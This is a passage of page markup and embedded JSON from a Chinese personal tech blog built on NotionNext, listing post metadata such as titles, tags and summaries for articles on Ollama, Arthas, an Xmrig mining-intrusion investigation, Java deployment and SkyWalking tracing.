href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allPages":[{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"\u003c- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"Mar 22, 2024","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"Mar 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}]},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"Nov 5, 2021","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"Mar 22, 2024","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=041a3743-f888-4476-b947-fff856745c02\u0026width=800\u0026fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}]},{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":""},{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=93032c73-435f-4a73-8087-b71ecff3a86b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=973ede9c-1a10-4482-be06-324fd481d34f\u0026width=800\u0026fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":""},{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容;\n这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。","title":"空白文章7","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:57.241Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"463a12f0-d5d5-4492-bb0f-8058cea32a41","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-9","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章9","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:06.142Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41","pageCoverThumbnail":"https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=463a12f0-d5d5-4492-bb0f-8058cea32a41\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"95ddf5c1-569e-4c61-a1e8-6507fe59fc97","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-10","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范","title":"空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:03.738Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97","pageCoverThumbnail":"https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":""},{"id":"7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","icon":"fas fa-home","date":{"start_date":"2022-05-18"},"type":"Page","slug":"/","title":"主页","status":"Published","category":"","publishDate":1652832000000,"publishDay":"May 18, 2022","lastEditedDate":"2024-01-18T17:40:34.961Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"7b6c5022-b0db-4dc3-a38e-47cefabe2caf","icon":"fas fa-search","date":{"start_date":"2021-07-02"},"type":"Menu","slug":"/search","tags":["文字"],"summary":"跳转到’/search’搜索页的菜单","title":"搜索","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.112Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"文字","color":"brown"}],"to":"/search","name":"搜索","password":""},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]},{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}],"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一